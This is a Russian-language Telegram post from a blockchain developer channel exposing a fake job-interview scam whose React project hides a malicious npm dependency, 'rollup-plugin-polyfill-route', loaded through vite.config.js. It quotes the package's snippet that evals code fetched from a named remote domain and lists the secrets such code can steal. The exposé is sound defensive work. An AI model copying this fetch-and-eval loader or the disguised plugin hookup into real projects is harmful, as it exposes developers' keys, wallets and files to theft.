TGViewer
MetaLamp | CIS MetaLamp | CIS @metalampru · 1.58K subscribers
Post #670 1.21K
💰 Скучная скамина!

Зовут нас на звонок и предлагают посмотреть проект Decentralized E-commerce Platform. В день созвона переносят встречу «на попозже», но (!) при этом просят глянуть код, чтобы прийти «подготовленными».

Очередная классика. Уже смущает, что проект на Bitbucket: историю коммитов не видно. Ищут технического директора, а внутри — два мусорных контракта с трафлом в обнимку и вообще всё это счастье собрано на React.

Смотрим в package.json:

    "rollup-plugin-polyfill-node": "^0.13.0",
"rollup-plugin-polyfill-route": "^1.0.2", // ой, а что это за пакет?


rollup-plugin-polyfill-route — 126 строк кода, залит в npm 17 дней назад, НЕДЕЛЬНЫХ загрузок — 90. Одна заливка и сразу версия 1.0.2 (ну конечно, все ведь так делают, когда первую версию заливают), формирование строки запроса и …

 try {
eval(JSON.parse(b));
} catch (err) {
if (atlf > 0) {
mreq(atlf - 1);
}


... находим то, что искали: eval(JSON.parse(b));.

Эта штука парсит полученные данные из запроса с rest-icon-handler.store и сразу их исполняет. Дальше проверять, что там возвращается, как-то не хочется, но оно может:

💰 Украсть приватные ключи из ~/.ssh/, .env файлов;
💰 Украсть seed-фразы кошельков;
💰 Украсть cookies/токены браузера;
💰 Стырить любые файлы с диска включая те, где я голый, аххах
💰 Поставить backdoor;
💰 Подменить адреса в буфере обмена.

И используется это добро в проекте как будто какой-то полифил для бандлера vite.
Смотрим его конфиг (vite.config.js) и видим:

import { getPlugin } from 'rollup-plugin-polyfill-route';

export default defineConfig(({ command, mode }) => {
...
return {
plugins: [
react({
...
}),
getPlugin()
],


Круг замкнулся.

Блин, ребята, вы серьёзно? Звать технического директора и подсовывать ему вот это? В эпоху, когда все ЭЯЕМ обмазано! Скукотище 🙄

🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨

Я думал, что подобный способ украсть мои деньги — это уже прошлый век! По одному только package.json Сlaude Сode сразу говорит, что вот этот пакетик здесь "дырявый" и в нем стопудово малварь!

Ну товарищи злодеи, соберитесь. Поспевайте за прогрессом. Мы жаждем новые способы нахлабучивания, а такое фуфло мы уже выучили 😅

#павел_найданов

🤟 Сайт | ТГ-канал | Наш чат
More from @metalampru
  1. Oct 6, 2026Омм, омм... Исчезнет грусть, в день, Когда наступит праздник... Омм, омм... И мой путь - п…
  2. Oct 1, 2026🍻🍻 Добро пожаловать в семью! OZ добрался и до блокчейна Джастина Сана. Официально объявл…
  3. Sep 29, 2026Post #710
  4. Sep 29, 2026💩 Скам Или не скам Мы уже несколько раз рассказывали про скамеров, которые регулярно к на…
  5. Sep 17, 2026Uniswap v4 hooks were a mistake Это всего лишь громкий заголовок в статье от 0x. Моя лента…
  6. Sep 15, 2026Post #706
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →